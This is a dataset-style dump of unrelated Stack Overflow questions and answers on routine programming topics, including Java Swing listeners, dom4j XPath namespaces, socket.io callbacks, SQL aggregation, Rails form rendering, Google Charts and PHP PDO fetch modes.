15146877	0	 <p>Your program <em>does</em> have a visible error, precisely where it's failing:</p> <pre><code>optionlist.addActionListener((ActionListener) this); </code></pre> <p><code>this</code> is a reference to an instance of <code>hello</code>. The <code>hello</code> class doesn't implement <code>ActionListener</code> - so how would you expect that cast to succeed?</p> <p>The only implementation of <code>ActionListener</code> you've given is <code>OptionButtonHandler</code>. Perhaps you meant:</p> <pre><code>optionlist.addActionListener(new OptionButtonHandler()); </code></pre> <p>?</p>
11562791	0	How to Override target="_blank" in the kml popup <p>I'm loading a kml in a map from google using a code like this:</p> <pre class="lang-js prettyprint-override"><code>var myOptions = { mapTypeId: google.maps.MapTypeId.ROADMAP }; var map = new google.maps.Map(document.getElementById('map_canvas'), myOptions); var kmlLayer = new google.maps.KmlLayer('https://maps.google.com/maps/ms?authuser=0&amp;vps=2&amp;ie=UTF8&amp;msa=0&amp;output=kml&amp;msid=209879288832578501414.0004c52d678cf88f70685'); kmlLayer.setMap(map); </code></pre> <p>The problem is the link into the popup, <a href="https://developers.google.com/kml/documentation/kmlreference#description" rel="nofollow">kml adds</a> <code>target="_blank"</code> and I don't want it.</p> <p>How I can remove it using javascript? I found <a href="http://stackoverflow.com/a/1185271/842697">this answer</a> but it doesn't work in the API 3. I prefer not to use jQuery.</p>
12989085	0	 <p>I've solved the problem setting a ScrollView as parent layout.</p>
9452116	0	 <p>Some characters in Url are reserved characters and have special meaning. To use them in Url parameters they must be properly <a href="http://en.wikipedia.org/wiki/Percent-encoding" rel="nofollow">URL encoded</a>.</p> <pre><code>/?link=http://a-link.com </code></pre> <p>is not a proper URL. It should be:</p> <pre><code>/?link=http%3A%2F%2Fa-link.com </code></pre>
12317266	0	 <p>Niether, use <code>MatcherAssert</code> and <code>Hamcrest</code> with <code>assertThat</code> instead of <code>assertTrue</code> / <code>assertFalse</code></p> <p><a href="http://hamcrest.org/JavaHamcrest/javadoc/1.3/org/hamcrest/MatcherAssert.html" rel="nofollow">MatcherAssert</a></p>
22918592	0	&infin; not displaying inside span tag <p>I am currently having an issue with getting any HTML entity to display while inside a span. I am currently trying to get <code>&amp;infin;</code> to show up if my object has no destroy date. If I move the entity outside the span it will appear. Below is the code before it is rendered:</p> <pre><code>&lt;tr&gt; &lt;th&gt; Deactivate Date &lt;/th&gt; &lt;td&gt; &lt;span edit&gt; &lt;%= text_field_tag 'destroy_date', @account_type.destroy_date %&gt; &lt;/span&gt; &lt;span show&gt; &lt;%= @account_type.destroy_date.present? ? @account_type.destroy_date : '&amp;infin;'.html_safe %&gt; &lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; </code></pre> <p>Here is how the code is rendered if @account_types.destroy_date is not present.</p> <pre><code>&lt;tr&gt; &lt;th&gt; Deactivate Date &lt;/th&gt; &lt;td class="clickable"&gt; &lt;span edit="" style="display: none;"&gt; &lt;input id="destroy_date" name="destroy_date" type="text" last-value="" class="hasDatepicker"&gt; &lt;/span&gt; &lt;span show="" style="display: inline-block;"&gt;&amp;nbsp;&lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; </code></pre>
20456794	0	 <p>I found the followin exsample on ibm sites:</p> <pre><code>select t1.timeid, t1.storeid, t1.sales from time, store, table (cvsample.salesfunc(time.timeid, store.storeid)) as t1 where time.timeid = t1.timeid and store.storeid = t1.storeid; </code></pre> <p>notice the syntax: <strong>table (cvsample.salesfunc(time.timeid, store.storeid)) as t1</strong></p> <p>so you prob dont need fields and 'as' you still need '*' and the 'FROM'</p> <p>so </p> <pre><code>INSERT INTO STUDENT_TMP SELECT * FROM Table (MyDB.fn_getStudent()) </code></pre>
4675924	0	 <p>The first thing I notice is that you've got a lot of functions that do basically the same thing (with some numbers different). I would investigate adding a couple of parameters to that function, so that you can describe the direction you're going. So for example, instead of calling <code>right()</code> you might call <code>traverse(1, 0)</code> and <code>traverse(0, -1)</code> instead of <code>up()</code>.</p> <p>Your <code>traverse()</code> function declaration might look like:</p> <pre><code>int traverse(int dx, int dy) </code></pre> <p>with the appropriate changes inside to adapt its behaviour for different values of <code>dx</code> and <code>dy</code>.</p>
31399101	0	Black Screen after splash screen iOS, Swift, Xcode 6.4 <p>I'm using Xcode 6.4 my apps stimulator build successfully then splash screen then a black screen appear and it was stack. I tried different project same things appears black screen again but no errors.</p>
23101595	0	Memory management with changing rootViewController of window <p>I am changing rootViewController of window dynamically in my application in Non - ARC application.</p> <p>My question is do i need to release previously assigned rootViewController? How memory is management is done with previously allocated rootViewController?</p> <p>My Second question is about newrootViewController. how i can manage memory for new rootViewController for window.</p> <p>Any help will be appreciated.... </p>
39245132	0	DOM4J xpath-select colon node with namespace <p>Given the xml content is as below;</p> <pre><code>&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;s:Body&gt;&lt;CreateResponse xmlns="http://gtestserver/"&gt;&lt;CustomerId&gt;8124138&lt;/CustomerId&gt;&lt;InternalResponseCode&gt;Success&lt;/InternalResponseCode&gt;&lt;ResponseCode&gt;0&lt;/ResponseCode&gt;&lt;ResponseDate&gt;2016-08-31T07:57:22.7760577Z&lt;/ResponseDate&gt;&lt;ResponseDescription&gt;Success&lt;/ResponseDescription&gt;&lt;UserId&gt;7424876375&lt;/UserId&gt;&lt;/CreateResponse&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt; </code></pre> <p>I need to pickup the node :<strong>CustomerId</strong> ,but i cannot get it correctly ,the code i used here:</p> <pre><code> Document document = new SAXReader().read(new ByteArrayInputStream(xmlfile.getBytes("UTF-8"))); Node foundnode = null; Element rootElement = document.getRootElement(); String namespace = rootElement.getNamespaceURI(); if (namespace != null) { DefaultXPath defaultXPath = new DefaultXPath(xpath); Map&lt;String, String&gt; namespaces = new TreeMap&lt;String, String&gt;(); namespaces.put("ns", namespace); defaultXPath.setNamespaceURIs(namespaces); } foundnode = document.selectSingleNode("/ns:s:Envelope/ns:s:Body/ns:CreateResponse/ns:CustomerId"); </code></pre> <p>Then it throws below exception :</p> <pre><code>org.dom4j.InvalidXPathException: Invalid XPath expression: /ns:s:Envelope/ns:s:Body/ns:CreateResponse/ns:CustomerId Unexpected ':' at org.dom4j.xpath.DefaultXPath.parse(DefaultXPath.java:360) at org.dom4j.xpath.DefaultXPath.&lt;init&gt;(DefaultXPath.java:59) at com.github.becauseQA.xml.DOM4JUtils.getNodes(DOM4JUtils.java:152) at </code></pre> <p>I know it caused by the xpath used here ,but i don't know which xpath should i pickup here, you can see the node has : ,so when use the namespace with ns: for each node ,it cannot parse it . Anyone know how to pickup the node with namespace and special character in the node name ? thanks .</p>
20915608	0	How to pass error object to socket.io callback <p>I am using callbacks with socket.io </p> <p>Client code :</p> <pre><code>socket.emit('someEvent', {data:1}, function(err, result) { console.log(err.message); }); </code></pre> <p>Server code :</p> <pre><code>socket.on('someEvent', function(data, callback) { callback(new Error('testing error')); }); </code></pre> <p>With the above code the client side always prints out <code>undefined</code>. If I change the server side code to the following I can see the error message.</p> <pre><code>socket.on('someEvent', function(data, callback) { callback({message:'testing error'}); }); </code></pre> <p>I can pass my own custom objects to the client just fine, just not the error object. Any ideas?</p>
38570475	0	Copying from non-filtered rows to filtered-rows in excel <p>I have a number of rows in one worksheet which doesn't have any filtered data all the data is visible. I have another worksheet containing rows with filtered applied on it.</p> <p>When I am trying to copy from non-filtered worksheet to filtered worksheet, the data is also pasted to non-visible cells in the filtered worksheet.</p> <p>I have tried using goto special and then visible cells only but no success.</p>
13601300	0	 <p>Right click on the root of your project and select <code>Refresh</code>. Maybe the files are out of sync with the file system.</p>
39054962	0	 <p>I have solved the problem. It turned out I had to add one line in my NotificationHub class:</p> <pre><code>[HubName("notificationHub")] </code></pre> <p>Now it looks following and this solved my problem.</p> <pre><code>[HubName("notificationHub")] public class NotificationHub : Hub { //public void Hello() //{ // Clients.All.hello(); //} } </code></pre>
26907803	0	replace log4j with slf4j in hybris <p>I am wandering if there is an elegant way to change logging in hybris from log4j to slf4j or something else?</p> <p>Right now I am using slf4j when writing java code, but hybris itself is using log4j for any generated code. That is causing to use mixed logging frameworks in one hybris extension. Actually it is still log4j underneath the slf4j, but what if I want to change log4j to some other logging mechanism?</p> <p>Maybe it can be done in some configuration file. Has anybody done that already?</p>
39054908	0	 <p><strong>What is the purpose of the second tag, <code>&lt;context:component-scan&gt;</code>?</strong> Well, you need a bit of background information to understand the purpose of this tag. Basically,say the <code>@Controller</code> annotation indicates that a particular class located at <code>base-package="yyy.xxx"</code> serves the role of a <strong>controller</strong>. Another example the <code>@RequestMapping</code> annotated methods to serve a web request. So, <code>component-scan base-package="yyy.xxx"</code> will tell the spring container via the dispatcher servlet to locate such annotated classes and methods for mapping. <em>But, There are plenty of more detailed explanation if you google it.</em> </p>
37333935	0	.val() not assigning return to new variable <p>After this zip will remain at 0 no matter what the value of "input" is. I suspect it has something to do with apiAddress not updating zip after the new value is assigned to zip. Can any one explain what is happening?</p> <pre><code>$(document).ready(function() { zip = 0; apiAddress = "api.openweathermap.org/data/2.5/weather?zip=" + zip; $("#submit").on("click", function() { zip = $("input").val(); $("#temperature").html(apiAddress); }); }); </code></pre>
1731097	0	 <p>Decide which formats you want to recognize, then create a regular expression matching each one grouping the different parts of the number (like area code, prefix etc). Finally use a substitution to generate the canonical output you desire.</p> <p>Example:</p> <p>to match</p> <pre><code>xxx-xxx-xxxx -&gt; \d{3}-\d{3}-\d{4} (xxx) xxx-xxxx -&gt; \(\d{3}\) \d{3}-\d{4} 1-xxx-xxx-xxx -&gt; 1-\d{3}-\d{3}-\d{4} </code></pre> <p>This ignores rules that restrict prefix and area code (the US doesn't allow area codes or prefixes that being with 0 or 1). You could try and be super smart and create one regular expression that matches everything but you will end up with a jumbled mess that is impossible to modify instead you should OR the patterns together to make them easier to modify in the future. </p> <p>basic idea: </p> <pre><code>pattern = re.compile(r'\d{3}-\d{3}-\d{4}|\(\d{3}\) \d{3}-\d{4}|1-\d{3}-\d{3}-\d{4}') </code></pre> <p>with grouping added for canonical output </p> <pre><code>pattern = re.compile(r'(\d{3})-(\d{3})-(\d{4})|\((\d{3})\) (\d{3})-(\d{4})|1-(\d{3})-(\d{3})-(\d{4})') </code></pre> <p>then just run that against your inputs and for each phone number input you will have 3 matching groups, one for the area code, one for the prefix, and one for the suffix which you can output however you want. You need a basic understanding of regular expressions, but it shouldn't be too hard.</p>
36869244	0	 <p>In this related answer: <a href="http://stackoverflow.com/questions/8268710/transition-to-doesnt-work-within-a-function-and-with-a-runtimeaddeventliste">transition.to( ) doesn&#39;t work within a function and with a Runtime:addEventListener( &quot;enterFrame&quot;, method) listener in Corona / Lua</a> you can see a similar issue as I stated above. You are creating an animation right as one is starting - making it seem as though it is not moving. As I suggested above, if it suits your game, begin the transition when you spawn the object; not every gameloop.</p>
35467263	0	 <p>You can solve it either by putting a padding-bottom on either:</p> <pre><code>.menu ul </code></pre> <p>or</p> <pre><code>.menu ul li:last-child </code></pre>
9691123	0	 HTTPBuilder is a wrapper for Apache's HttpClient, with some (actually, a lot of) Groovy syntactical sugar thrown on top. The request/response model is also inspired by Prototype.js' Ajax.Request.
27631087	0	Conditional/Occasional Logging with Boost Log Library <p>Is there a way to do Conditional/Occasional logging with Boost Log Library? For example, log a message at every Nth passing the logging statement.</p> <p>P.S. <a href="https://google-glog.googlecode.com/svn/trunk/doc/glog.html" rel="nofollow">Google Logging Library</a> has those functions/macros: <code>LOG_EVERY_N</code>, <code>LOG_IF</code>, <code>LOG_FIRST_N</code>. But I need a library that works in Mingw-w64 (Google Logging Library is not).</p>
969152	0	 <p>See <a href="http://msdn.microsoft.com/en-us/library/system.xml.xmldocument.createcdatasection.aspx" rel="nofollow noreferrer">XmlDocument::CreateCDataSection Method </a> for information and examples how to create CDATA nodes in an XML Document</p>
22339042	0	Unable to fully change Eclipse ADT theme color scheme <p>I am trying to change my ADT (Eclipse) IDE color scheme to a dark one. As instructed on many threads (for example <a href="http://stackoverflow.com/questions/6937825/how-can-i-change-eclipse-theme">How can i change Eclipse theme?</a>) -</p> <ol> <li>I've installed DARK JUNO (as instructed on the link) </li> <li>I've installed Eclipse Color Theme plugin from eclipsecolorthemes.org (as instructed on the link) </li> </ol> <p>And still, the results are partly dark, partly light color scheme with strage font sizes and very strange (and ugly look).</p> <p>If I only use Eclipse Color Theme plugin, without choosing the DARK JUNO theme, only the compiler (center "code area") receives the right look.</p> <p>This is how my IDE looks right now (with JUNO on and a color scheme from Eclipse Color Theme plugin) - <a href="http://tinyurl.com/o5bdl4e" rel="nofollow">http://tinyurl.com/o5bdl4e</a>. I've marked a few annoying parts.</p> <p>What am I doing wrong? Thanks.</p>
7069178	0	 <p>A better way there is not, only a single lined one (which makes use of the iterator, too but implicitly):</p> <pre><code>new ArrayList(names).get(0) </code></pre>
27803489	0	 <p>Try This </p> <pre><code>$('#tabledata').on('click', '.move', function(e) { ... }); </code></pre>
26157165	0	How does this code optimize minification? <p>I saw some code <a href="https://gist.github.com/rma4ok/3371337">here</a> that had these variable declarations:</p> <pre><code>var equestAnimationFrame = 'equestAnimationFrame', requestAnimationFrame = 'r' + equestAnimationFrame, ancelAnimationFrame = 'ancelAnimationFrame', cancelAnimationFrame = 'c' + ancelAnimationFrame </code></pre> <p>According to a comment on the page, this is to improve minification, but I couldn't figure out how. Can someone tell me? Thanks.</p>
8345622	0	 <p>You need to use <code>%2.6f</code> instead of <code>%f</code> in your printf statement</p>
26010679	0	Not able to load all the youtube iframe players on same page. Always loads the last one <p>My base Html </p> <pre><code> &lt;div class="ytplayer" id="player1" data-videoid="xxxxxxx" data-playerheight="390" data-playerwidth="640"&gt;&lt;/div&gt; &lt;div class="ytplayer" id="player2" data-videoid="xxxxxxx" data-playerheight="390" data-playerwidth="640"&gt;&lt;/div&gt; &lt;div class="ytplayer" id="player3" data-videoid="xxxxxxx" data-playerheight="390" data-playerwidth="640"&gt;&lt;/div&gt; </code></pre> <p>My script initialization is </p> <pre><code> $(document).ready(function(){ $(".ytplayer")._loadIFramePlayer(); }); </code></pre> <p>my functions look like </p> <pre><code> _loadIFramePlayer: function(){ $("&lt;script&gt;") .attr("src", "//www.youtube.com/iframe_api") .insertBefore($("body").find("script").first()); var _youtubePlayer = null; if (typeof (YT) === 'undefined' || typeof (YT.Player) === 'undefined') { window.onYouTubeIframeAPIReady = function () { _youtubePlayer = new YT.Player("player", { height: "390", width: "640", videoId: "xxxxxx", events: { // i didn't mention the below functions since I am not doing any thing there, just calling stopVideo and playVideo native functions of youtube api. 'onReady': onPlayerReady, 'onStateChange': onPlayerStateChange } }); }; $.getScript('//www.youtube.com/iframe_api'); } else { _youtubePlayer = new YT.Player("player", { height: "390", width: "640", videoId: "xxxxxx", events: { // i didn't mention the below functions since I am not doing any thing there, just calling stopVideo and playVideo native functions of youtube api. 'onReady': onPlayerReady, 'onStateChange': onPlayerStateChange } }); } } </code></pre> <p>Ideally we should get three instances of iframe player but in our case we are getting only one player that too the last one in all cases. Please let me know if any work around for this ..</p>
31443332	0	How do I join 2 tables and search for 2 conditions including a SUM <p>I have two tables, and two conditions that I am trying to write a query for.</p> <p>I need to join the two following tables:</p> <ol> <li>trans</li> <li>transunit</li> </ol> <p>They are joined by the <em>accountID</em> field which is in both tables, I also want the <em>clientID</em> which is in the trans table.</p> <p>Secondly I also need for the field <em>allocated</em> in trans table to be '%Y', and I need the sum of the <em>units</em> field for each accountID in transunit to be greater than 0. </p> <p>I can join the two tables, but i'm struggling with using the two conditions to filter the data.</p> <p>The only columns I would like to return from the 2 tables is:</p> <ol> <li>accountID</li> <li>clientID</li> <li>SUM(units)</li> </ol> <p>Here's what I have so far...</p> <pre><code>select trans.accountID,trans.clientID from inner join transUnit on trans.AccountID = transUnit.accountID where trans.IsAllocated like '%Y%' </code></pre> <p>This joins the two tables, and uses 1 condition.</p> <p>I have the 2nd query which sums all records in transunits table by accountID. 1 account ID can have multiple units records. I am just looking for accountID which have SUM greater than 0. </p> <pre><code>select count(*), sum(units) as Sumunits,accountid from transunit group by accountid </code></pre> <p>Now the tricky part, how do I join these two queries together, and filter so that I only display when SUM is greater than 0.</p> <p>Any help would be much appreciated, thanks.</p>
32447897	0	Threejs make a displaced mesh (terrain model) <p>So I have around 59k data points that I'm visualizing. Currently I'm making them into a texture, and then applying them to a plane geometry. </p> <p><a href="https://i.stack.imgur.com/frnA4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/frnA4.png" alt="enter image description here"></a></p> <p>Now the issue is that I need to show a heightmap, each datapoint has a height value, and I need to apply that to the mesh. </p> <p>How is the best way to go about doing this? Previously I was displaying this data using a ton of cube geometries, which I could then change the height on. But this made performance suffer, so it wasn't really an option.</p>
29185771	0	 <p>Found a way:</p> <pre><code>/** * @param Organization $organization * @param User $user * @return \Doctrine\ORM\QueryBuilder */ public function getFindByOrganizationQueryBuilder(Organization $organization, User $user) { $nots = $this-&gt;_em -&gt;createQueryBuilder() -&gt;select('u.id') -&gt;from('AppBundle:User\User', 'u', 'u.id') -&gt;leftJoin('u.roles', 'r') -&gt;where('r.role = ?1') -&gt;orWhere('r.role = ?2') -&gt;setParameter(1, 'ROLE_ADMIN') -&gt;setParameter(2, 'ROLE_SUPER_ADMIN') -&gt;getQuery() -&gt;getResult() ; $nots = array_keys($nots); $builder = $this -&gt;createQueryBuilder('u') -&gt;leftJoin('u.roles', 'r') -&gt;leftJoin('u.associates', 'a') -&gt;leftJoin('a.organization', 'o') -&gt;where('o = ?1') -&gt;andWhere('u &lt;&gt; ?2') -&gt;setParameter(1, $organization) -&gt;setParameter(2, $user) ; if (!empty($nots)) { $builder = $builder -&gt;andWhere($this-&gt;createQueryBuilder('u')-&gt;expr()-&gt;notIn('u.id', $nots)); } return $builder; } </code></pre>
1357490	0	 <p>I believe you are looking for <code>]]</code> which jumps to the next <code>{</code> char on the first column.</p> <p>There are similar options, just try <code>:help ]]</code> for more information.</p>
34949630	1	ATOmac - waitForWindowToAppear returns False everytime <p>I am using Atomac (<a href="https://pypi.python.org/pypi/atomac/1.1.0" rel="nofollow">https://pypi.python.org/pypi/atomac/1.1.0</a>) to automate a Mac application. I want to wait for a window to be appear(or disappear) and I saw in the documentations that are functions for this:(<a href="https://github.com/ldtp/pyatom/blob/master/atomac/AXClasses.py" rel="nofollow">https://github.com/ldtp/pyatom/blob/master/atomac/AXClasses.py</a>)</p> <p>However, when I am testing waitForWindowToAppear function, it always returns False, for example:</p> <pre><code>import atomac atomac.launchAppByBundleId("com.apple.Safari") app = atomac.getAppRefByBundleId("com.apple.Safari") window = app.waitForWindowToAppear("Safari", 10) print window #False </code></pre>
8417053	0	Is it possible to use GPU acceleration on compiling multiple programs on a gcc compiler? <p>Is there any way or tool to apply GPU acceleration on compiling programs with GCC compiler? Right now I have created a program to compile the given list of programs iteratively. It takes a few minutes. I know of a few programs like Pyrit which helps to apply GPU acceleration for precomputing hashes.</p> <p>If there are no such tools available, Please advice on whether to use OpenCL or anything else to reprogram my code.</p> <p>Your Help will be highly appreciated. Thank you.</p>
40962792	0	 <p>Let's try to understand this whole process point-wise</p> <p><strong>Instance variables defined in the controller action are shared with the rendered views.</strong></p> <p>In your case I'm assuming that there's a <code>new</code> action something like</p> <pre><code>def new @movie = Movie.new end </code></pre> <p>And you have a corresponding view <code>new.html.erb</code> where you have created a form like this</p> <pre><code>= form_for @movie do |f| </code></pre> <p>Now, as you know the <code>@movie</code> object that you are passing in <code>form_for</code> method is defined in <code>new</code> action. Most of the times we don't pass any parameters to the <code>new</code> method in <code>new</code> action. The form fields are blank when you load the form because the attributes of the object(in your case <code>@movie</code>) are by default blank because we just initialize an empty object(<code>Movie.new</code>). </p> <p>Let's assume your <code>Movie</code> model has a <code>name</code> attribute, Try doing this in your <code>new</code> action</p> <pre><code>def new @movie = Movie.new(name: 'Hello World!') end </code></pre> <p>Now when you will load the new action, you will see <code>Hello World!</code> populated in your <code>name</code> text field because your <code>@movie</code> object is initialized with this value. </p> <p>Also, keep in mind that Rails Convention-Over-Configuration automatically generates the form URL in this case, by default it points to the <code>create</code> action. When you submit the <code>form</code> the request is made to the create action. This takes me to the next point.</p> <p><strong>When we submit the form all the filled in form values are sent to the action whose route matches with the form URL(in your case URL points to the <code>create</code> action)</strong></p> <p>In <code>create</code> action you are receiving parameters in the form of a hash with model attributes(<code>Movie</code> attributes) as keys and the filled in information as their values. The first line in your <code>create</code> action is</p> <pre><code>@movie = Movie.new(movie_params) </code></pre> <p>This is a very important line of code, try to understand this. Let's assume your form had only one text field, i.e., <code>name</code>. Now <code>movie_params</code> is a method that looks like this</p> <pre><code>def movie_params params.require(:movie).permit(:name) end </code></pre> <p>Now, the <code>movie_params</code> method will return a hash something like <code>{ 'name' =&gt; 'Hello World!' }</code>, now you are passing this hash as a parameter to <code>Movie.new</code> method.</p> <p>So now, after breaking up the code, the first line of your create action looks like</p> <pre><code>@movie = Movie.new({ name: 'Hello World!' }) </code></pre> <p>That means your <code>@movie</code> instance variable contains an object of <code>Movie</code> class with <code>name</code> attribute set to <code>Hello World!</code>. Here, when after initialization, if you do <code>@movie.name</code> it will return <code>Hello World!</code>.</p> <p>Now, in the second line you are calling <code>@movie.save</code> that returned <code>false</code> due to failed validation in your case as you have already mentioned in the question. As it returned <code>false</code> the execution will go to the <code>else</code> part. Now this takes me to the next point.</p> <p><strong>Calling <code>render :action</code>(in your case <code>render :new</code>) in the controller renders only the view that belongs to that action and does not execute that action code.</strong></p> <p>In your case, you called <code>render :new</code>, so there you are actually rendering the <code>new.html.erb</code> view in create action. In other words, you are just using the code in <code>new.html.erb</code> and not in <code>new</code> action. Here, <code>render :new</code> does not actually invoke the new action, it's still in the create action but rendering the <code>new.html.erb</code> view.</p> <p>Now, in <code>new.html.erb</code> you have created a form that looks like</p> <pre><code>= form_for @movie do |f| </code></pre> <p>Now as my explained under my first point, the instance variables that are declared in the action are shared by the rendered view, in this case <code>@movie</code> object that you have defined in <code>create</code> action is shared by the rendered <code>new.html.erb</code> in create action. In our case, in <code>create</code> action the <code>@movie</code> object was initialized with some values that were received in the parameters(<code>movie_params</code>), now when <code>new.html.erb</code> is rendered in the <code>else</code>, the same <code>@movie</code> object is used in the form by default. You got the point right, you see the magic here?</p> <p>This is how Rails works and that's why its awesome when we follow the convention! :)</p> <p>These blogs will help you understand the code better,</p> <p><a href="http://blog.markusproject.org/?p=3313" rel="nofollow noreferrer">http://blog.markusproject.org/?p=3313</a></p> <p>And this gist is great,</p> <p><a href="https://gist.github.com/jcasimir/1210155" rel="nofollow noreferrer">https://gist.github.com/jcasimir/1210155</a></p> <p>And last but not least, the official Rails Guides on Layouts and Rendering</p> <p><a href="http://guides.rubyonrails.org/v4.2/layouts_and_rendering.html" rel="nofollow noreferrer">http://guides.rubyonrails.org/v4.2/layouts_and_rendering.html</a></p> <p>Hope the above examples cleared your doubts, if not, feel free to drop your queries in the comment box below. :) </p>
37657269	0	 <p>you can use the <code>series</code> <a href="https://developers.google.com/chart/interactive/docs/gallery/linechart#configuration-options" rel="nofollow">configuration option</a> to change the <code>targetAxisIndex</code> </p> <p>the documentation says... </p> <blockquote> <p><code>targetAxisIndex</code>: Which axis to assign this series to, where 0 is the default axis, and 1 is the opposite axis. Default value is 0; set to 1 to define a chart where different series are rendered against different axes. At least one series much be allocated to the default axis. You can define a different scale for different axes. </p> </blockquote> <p>but seems to work without assigning anything to the <em>default</em> axis... </p> <p>see following example...</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>google.charts.load('current', { callback: function () { var data = new google.visualization.DataTable(); data.addColumn('string', 'Label'); data.addColumn('number', 'Amount'); data.addRows([ ['Label 1', 10], ['Label 2', 20], ['Label 3', 30], ['Label 4', 40] ]); new google.visualization.LineChart(document.getElementById('chart_div')).draw(data, { series: { 0: { targetAxisIndex: 1 } } }); }, packages:['corechart'] });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://www.gstatic.com/charts/loader.js"&gt;&lt;/script&gt; &lt;div id="chart_div"&gt;&lt;/div&gt;</code></pre> </div> </div> </p>
33806520	0	 <p><code>&lt;?AdlibExpress...?&gt;</code> is a <a href="https://en.wikipedia.org/wiki/Processing_Instruction" rel="nofollow">processing instruction</a>.</p> <p>You can create it with </p> <pre><code>doc.appendChild( doc.createProcessingInstruction("AdlibExpress", "applanguage=\"USA\" appversion=\"5.0.0\" dtdversion=\"2.6.3\"")); </code></pre>
4310369	0	I have URL rewriting in my asp.net web solution how can I set startup url for non existent URL in VS2010? <p>I have URL rewriting in my asp.net web solution defined how can I set startup url for non existent page URL in VS2010.</p>
27295238	0	 <p>Use <code>GoogleMap#getCameraPosition().bearing</code></p>
11279578	0	 <p>if you changed your package name you have also to change it in the AndroidManifest.xml</p> <p>You can copy paste your project on your disk and on your project on eclipse right click on your package and go to refactor --> rename</p>
34874781	0	 <p>Another shorthand is to use the following code directly in the pattern in the template:</p> <pre><code>&lt;? return str_replace(".","","{base_price_incl_tax product}"); ?&gt; </code></pre> <p>In this way you don't have to create a custom attribute.</p>
34882019	0	 <p>You need target paragraph thus use <a href="http://api.jquery.com/prev/"><code>.prev()</code></a> then use <a href="http://api.jquery.com/append/"><code>append()</code></a></p> <pre><code>$('div.roundbox').prev('p').append('2015-2016'); </code></pre>
24049572	0	 <p>A fix has been submitted which probably addresses your problem. Please pull the latest version of the component and try again.</p>
29729689	0	 <p>In the MIDDLEWARE_CLASSES of settings.py, you have <code>'django.middleware.security.SecurityMiddleware',</code>, which is new in Django 1.8. Either make sure Heroku is using Django 1.8, or remove that line from MIDDLEWARE_CLASSES.</p>
23717319	0	 <p>You have a syntax error in your code: <code>.navbar ul li a: hover</code> Remove the space after the <code>:</code> and it will work.</p>
37451462	0	How do I validate my email submission on php? <p>I'm just getting into coding and put together a webpage using dreamweaver. I created a php page with my email coding which is executed from a form and submit button on an html page. I continously recieve blank emails on a daily basis which apparently means I need to add validation coding. I tried adding the coding but the problem persists. The page still submits even if the form is blank.</p> <p>Below is my current coding.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;?php if(!filter_var($_POST['CustomerEmail'], FILTER_VALIDATE_EMAIL)) { $valerrors[] = "The email address you supplied is invalid." ;} $customeremail=$_POST['CustomerEmail']; $email='test@gmail.com'; $custfirst=$_POST['CustomerFirstName']; $custlast=$_POST['CustomerLastName']; $custphone=$_POST['CustomerNumber']; $custaddress=$_POST['CustomerAddress']; $custcity=$_POST['CustomerCity']; $custstate=$_POST['CustomerState']; $custrequest=$_POST['CustomerService']; $subject='Service Request'; $body = &lt;&lt;&lt;EOD &lt;br&gt;&lt;hr&gt;&lt;br&gt; Email: $customeremail &lt;br&gt; First Name: $custfirst &lt;br&gt; Last Name: $custlast &lt;br&gt; Phone: $custphone &lt;br&gt; Address: $custaddress &lt;br&gt; City: $custcity &lt;br&gt; State: $custstate &lt;br&gt; Request: $custrequest &lt;br&gt; EOD; $headers = "From: $customeremail\r\n"; $headers .= "Content-type: text/html\r\n"; $Send = mail($email, $subject, $body, $headers); $confirmation = &lt;&lt;&lt;EOD &lt;html&gt;"Thanks for Submitting."&lt;/html&gt; EOD; echo"$confirmation"; ?&gt;</code></pre> </div> </div> </p> <p>It's possible that I'm placing the if statement in the wrong place. Can someone correct my coding so the confirmation page will not load and the email will not be sent if the customer email is left blank?</p>
9735728	0	How to trace map region while scrolling Map in iPhone <p>I completed to display map view to current location in iPhone with maximize zoom level.</p> <p>But now i want to trace <strong>any scrolling</strong> in map view to get its visible area.</p> <p>Is there any Event to do that if Yes then How??</p> <p>If No the How it possible?</p>
34294017	0	 <p>The issue is that DeletionPolicy must be set to one of three strings. And, though your If check will return one of them, from a systematic perspective, it only knows that it's returning a String - but is not guaranteed to be a valid string (same with your map and parameter checks), and thus it only accepts a string literal and not something that resolves to string.</p> <p>I believe that this limitation has been raised to the AWS Engineering team previously, as it is a nuisance. </p>
546116	0	 <p>Why not just use the UNIQUE attribute on the column in your database? Setting that will make the SQL server enforce that and throw an error if you try to insert a dupe.</p>
17293944	0	 <p>They are like two "Tom"s in your class! Because:</p> <p>In this case, <code>"odp" = "odp"</code> because they are <strong>TWO</strong> strings with <strong>SAME</strong> VALUE!!</p> <p>So they are not <code>==</code> because they are <strong>TWO</strong> different strings store in <strong>different</strong> (Memory) <strong>location</strong></p> <p>They are <code>=</code> because they have the <strong>identical string value</strong>.</p> <p>One more step deeper, "odp" is anonymous variable. And two anonymous variable leads to this <strong>Two</strong> strings.</p> <p>For your convenience:</p> <pre><code># "odp" = "odp";; - : bool = true # "odp" != "odp";; - : bool = true # "odp" &lt;&gt; "odp";; - : bool = false </code></pre>
3328794	0	Is there a performance difference between PDO fetch statements? <p>like in</p> <pre><code>/* Exercise PDOStatement::fetch styles */ print("PDO::FETCH_ASSOC: "); print("Return next row as an array indexed by column name\n"); $result = $sth-&gt;fetch(PDO::FETCH_ASSOC); print_r($result); print("\n"); print("PDO::FETCH_BOTH: "); print("Return next row as an array indexed by both column name and number\n"); $result = $sth-&gt;fetch(PDO::FETCH_BOTH); print_r($result); print("\n"); print("PDO::FETCH_LAZY: "); print("Return next row as an anonymous object with column names as properties\n"); $result = $sth-&gt;fetch(PDO::FETCH_LAZY); print_r($result); print("\n"); print("PDO::FETCH_OBJ: "); print("Return next row as an anonymous object with column names as properties\n"); $result = $sth-&gt;fetch(PDO::FETCH_OBJ); print $result-&gt;NAME; print("\n"); </code></pre> <p>Well the default are FETCH BOTH, I am wondering if FETCH ASSOC is faster when I'm going to fetch a lot of data; or they are the same?</p> <p>Thanks</p>
